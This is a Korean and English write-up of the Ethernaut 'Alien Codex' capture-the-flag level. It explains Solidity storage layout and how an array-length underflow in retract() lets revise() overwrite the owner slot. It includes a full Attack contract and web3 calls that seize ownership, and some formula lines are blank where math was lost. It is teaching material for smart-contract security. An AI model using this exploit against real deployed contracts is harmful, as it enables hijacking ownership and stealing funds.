Ethernaut 19 Alien Codex
Ethernaut 19 Alien CodexEthernaut 19 Alien CodexEthernaut 19 Alien Codex 문제 풀이Ethernaut 19 Alien Codex writeup
Contents
문제
지문
You've uncovered an Alien contract. Claim ownership to complete the level. Things that might help Understanding how array storage works Understanding ABI specifications Using a very underhanded approach
코드
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;
import "../helpers/Ownable-05.sol";
contract AlienCodex is Ownable {
bool public contact;
bytes32[] public codex;
modifier contacted() {
assert(contact);
_;
}
function makeContact() public {
contact = true;
}
function record(bytes32 _content) public contacted {
codex.push(_content);
}
function retract() public contacted {
codex.length--;
}
function revise(uint256 i, bytes32 _content) public contacted {
codex[i] = _content;
}
}배경지식
문제 컨트랙트는 Ownable을 상속한다. Ownable-05.sol에서는 _owner가 상태변수로 먼저 선언되어 있다.
contract Ownable {
address private _owner;
constructor() internal {
_owner = msg.sender;
}
function owner() public view returns (address) {
return _owner;
}
}상속이 있으면 base contract의 상태변수가 먼저 배치되고, 그 다음에 child contract의 상태변수가 배치된다. 예를 들면 다음과 같다.
contract A {
uint256 public a; // slot 0
}
contract B is A {
uint256 public b; // slot 1
}
contract C is B {
uint256 public c; // slot 2
}C에서는 a, b, c 순서대로 슬롯이 배정된다. AlienCodex에서도 Ownable의 _owner가 먼저 들어간다.
address는 20바이트, bool은 1바이트라서 둘 다 32바이트 슬롯 하나에 같이 packed될 수 있다. makeContact() 전후의 slot 0을 보면 contact가 slot 1이 아니라 slot 0 안에서 바뀐다.
await web3.eth.getStorageAt("0x1a9eDfD05c3687AeD6Bb36B86C657c1c8307fbc3", 0)
// '0x0000000000000000000000000bc04aa6aac163a6b3667636d798fa053d43bd11'
await contract.makeContact()
await web3.eth.getStorageAt("0x1a9eDfD05c3687AeD6Bb36B86C657c1c8307fbc3", 0)
// '0x0000000000000000000000010bc04aa6aac163a6b3667636d798fa053d43bd11'따라서 이 문제의 storage layout은 다음과 같다.
slot 0: contact + _owner
slot 1: codex.length
keccak256(abi.encode(1)) + i: codex[i]동적 배열은 배열의 길이와 실제 원소가 같은 위치에 저장되지 않는다. 배열 변수가 slot p에 있다면 slot p에는 배열의 길이가 저장되고, 실제 원소는 다음 위치부터 저장된다.
arr[i] storage slot = keccak256(abi.encode(p)) + i (mod 2^256)여기서 mod 2^256이 붙는 이유는 EVM storage slot 인덱스가 uint256 범위 안에서 표현되기 때문이다. 따라서 배열 길이를 매우 크게 만들 수 있으면, i를 조절해서 원래 배열 영역이 아닌 임의의 slot까지 덮어쓸 수 있다.
이 문제에서는 codex가 slot 1에 있으므로 codex[i]의 실제 저장 위치는 다음과 같다.
우리가 덮어쓰고 싶은 곳은 _owner가 들어있는 slot 0이다. 따라서 다음을 만족하는 i를 찾으면 된다.
이 조건을 만족하는 i는 다음 값이다.
Solidity 코드로는 type(uint256).max - uint256(keccak256(abi.encode(1))) + 1로 계산한다.
문제 컨트랙트는 pragma solidity ^0.5.0을 사용한다. Solidity 0.8 이전에는 산술 overflow/underflow가 자동으로 revert되지 않는다.
codex.length가 0인 상태에서 retract()를 호출하면 다음 코드가 실행된다.
codex.length--;그러면 0에서 1을 빼면서 revert되지 않고 값이 uint256 범위 안에서 순환한다. 결과적으로 codex.length는 이 된다.
이제 revise(i, _content)에서 사실상 모든 uint256 인덱스를 사용할 수 있으므로, 위에서 계산한 인덱스로 slot 0을 덮어쓸 수 있다.
문제 코드 분석
modifier contacted() {
assert(contact);
_;
}
function makeContact() public {
contact = true;
}record, retract, revise는 모두 contacted를 통과해야 한다. 따라서 먼저 makeContact()를 호출해서 contact를 true로 만들어야 한다.
누구나 makeContact()를 호출할 수 있으므로 이 제한은 권한 체크 역할을 하지 못한다. 익스플로잇의 첫 단계로 한 번 호출하면 된다.
function retract() public contacted {
codex.length--;
}codex는 처음에 빈 배열이다. makeContact() 이후 바로 retract()를 호출하면 codex.length가 0에서 로 underflow된다.
이 값은 slot 1에 저장된다. retract() 후 slot 1을 읽으면 최대 uint256 값이 들어 있다.
await contract.retract()
await web3.eth.getStorageAt("0x1a9eDfD05c3687AeD6Bb36B86C657c1c8307fbc3", 1)
// '0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'배열 길이가 최대치가 되었으므로 revise()의 인덱스 검사는 사실상 의미가 없어진다.
function revise(uint256 i, bytes32 _content) public contacted {
codex[i] = _content;
}revise()는 codex[i]에 _content를 그대로 쓴다. 동적 배열 원소 위치는 keccak256(abi.encode(1)) + i이므로, i를 잘 고르면 slot 0에 _content를 쓸 수 있다.
slot 0의 하위 20바이트에는 _owner가 들어있다. 따라서 _content의 하위 20바이트가 내 주소가 되도록 만들면 owner()가 내 주소를 반환한다.
bytes32 myaddr = bytes32(uint256(uint160(msg.sender)));address를 바로 bytes32로 바꾸는 대신 uint160 -> uint256 -> bytes32 순서로 변환한다. 이렇게 하면 주소값이 32바이트 값의 하위 20바이트에 들어간다.
풀이
먼저 makeContact()로 contacted 제한을 통과할 수 있게 만든다. 그 다음 빈 배열 상태에서 retract()를 호출해 codex.length를 로 만든다.
이제 codex[i]가 slot 0을 가리키게 만드는 인덱스를 계산한다.
uint256 i = type(uint256).max - uint256(keccak256(abi.encode(1))) + 1;마지막으로 revise(i, myaddr)를 호출해서 slot 0의 _owner 부분을 내 주소로 덮어쓴다. 대상 ABI를 알고 있으므로 인터페이스를 정의해 makeContact, retract, revise를 순서대로 호출한다.
익스플로잇
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IAlien {
function makeContact() external;
function retract() external;
function revise(uint256 i, bytes32 _content) external;
}
contract Attack {
IAlien alien;
constructor(address _addr) {
alien = IAlien(_addr);
}
function attack() public {
alien.makeContact();
alien.retract();
uint256 i = type(uint256).max - uint256(keccak256(abi.encode(1))) + 1;
bytes32 myaddr = bytes32(uint256(uint160(msg.sender)));
alien.revise(i, myaddr);
}
}
Challenge
Prompt
You've uncovered an Alien contract. Claim ownership to complete the level. Things that might help Understanding how array storage works Understanding ABI specifications Using a very underhanded approach
Code
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;
import "../helpers/Ownable-05.sol";
contract AlienCodex is Ownable {
bool public contact;
bytes32[] public codex;
modifier contacted() {
assert(contact);
_;
}
function makeContact() public {
contact = true;
}
function record(bytes32 _content) public contacted {
codex.push(_content);
}
function retract() public contacted {
codex.length--;
}
function revise(uint256 i, bytes32 _content) public contacted {
codex[i] = _content;
}
}Background
The challenge contract inherits Ownable. In Ownable-05.sol, _owner is declared first as a state variable.
contract Ownable {
address private _owner;
constructor() internal {
_owner = msg.sender;
}
function owner() public view returns (address) {
return _owner;
}
}With inheritance, the base contract's state variables are laid out first, followed by the child contract's. For example:
contract A {
uint256 public a; // slot 0
}
contract B is A {
uint256 public b; // slot 1
}
contract C is B {
uint256 public c; // slot 2
}In C, slots are assigned in the order a, b, c. In AlienCodex too, Ownable's _owner comes first.
An address is 20 bytes and a bool is 1 byte, so both can be packed together into a single 32-byte slot. Comparing slot 0 before and after makeContact() shows contact changing within slot 0, not slot 1.
await web3.eth.getStorageAt("0x1a9eDfD05c3687AeD6Bb36B86C657c1c8307fbc3", 0)
// '0x0000000000000000000000000bc04aa6aac163a6b3667636d798fa053d43bd11'
await contract.makeContact()
await web3.eth.getStorageAt("0x1a9eDfD05c3687AeD6Bb36B86C657c1c8307fbc3", 0)
// '0x0000000000000000000000010bc04aa6aac163a6b3667636d798fa053d43bd11'So the storage layout of this challenge is:
slot 0: contact + _owner
slot 1: codex.length
keccak256(abi.encode(1)) + i: codex[i]A dynamic array does not store the array length and the actual elements at the same location. If the array variable is in slot p, slot p stores the array length, and the actual elements are stored starting from the next location.
arr[i] storage slot = keccak256(abi.encode(p)) + i (mod 2^256)The mod 2^256 is there because EVM storage slot indices live in the uint256 range. So if you can make the array length very large, you can adjust i to overwrite any slot, not just the original array region.
In this challenge codex is in slot 1, so codex[i] is stored at:
What we want to overwrite is slot 0, which contains _owner. So we need an i that satisfies:
That i is:
In Solidity this is type(uint256).max - uint256(keccak256(abi.encode(1))) + 1.
The challenge contract uses pragma solidity ^0.5.0. Before Solidity 0.8, arithmetic overflow/underflow does not automatically revert.
Calling retract() while codex.length is 0 runs the following code.
codex.length--;Subtracting 1 from 0 does not revert; the value wraps around within the uint256 range. As a result, codex.length becomes .
Now revise(i, _content) can use any uint256 index, so the index computed above can overwrite slot 0.
Challenge code analysis
modifier contacted() {
assert(contact);
_;
}
function makeContact() public {
contact = true;
}record, retract, and revise all have to pass contacted. So you first have to call makeContact() to set contact to true.
Anyone can call makeContact(), so this restriction does not work as an access check. The first step of the exploit is to call it once.
function retract() public contacted {
codex.length--;
}codex starts as an empty array. Calling retract() right after makeContact() underflows codex.length from 0 to .
This value is stored in slot 1. Reading slot 1 after retract() shows the maximum uint256 value.
await contract.retract()
await web3.eth.getStorageAt("0x1a9eDfD05c3687AeD6Bb36B86C657c1c8307fbc3", 1)
// '0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'Since the array length is at its maximum, revise()'s index check is effectively meaningless.
function revise(uint256 i, bytes32 _content) public contacted {
codex[i] = _content;
}revise() writes _content directly to codex[i]. Since the location of a dynamic array element is keccak256(abi.encode(1)) + i, choosing i well lets us write _content to slot 0.
The lower 20 bytes of slot 0 hold _owner. So if we make the lower 20 bytes of _content our address, owner() returns our address.
bytes32 myaddr = bytes32(uint256(uint160(msg.sender)));Instead of converting address directly to bytes32, convert in the order uint160 -> uint256 -> bytes32. This way the address value lands in the lower 20 bytes of the 32-byte value.
Solution
First, call makeContact() to pass the contacted restriction. Then, in the empty-array state, call retract() to make codex.length .
Now compute the index that makes codex[i] point to slot 0.
uint256 i = type(uint256).max - uint256(keccak256(abi.encode(1))) + 1;Finally, call revise(i, myaddr) to overwrite the _owner part of slot 0 with our address. Since the target ABI is known, we define an interface and call makeContact, retract, and revise in order.
Exploit
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IAlien {
function makeContact() external;
function retract() external;
function revise(uint256 i, bytes32 _content) external;
}
contract Attack {
IAlien alien;
constructor(address _addr) {
alien = IAlien(_addr);
}
function attack() public {
alien.makeContact();
alien.retract();
uint256 i = type(uint256).max - uint256(keccak256(abi.encode(1))) + 1;
bytes32 myaddr = bytes32(uint256(uint160(msg.sender)));
alien.revise(i, myaddr);
}
}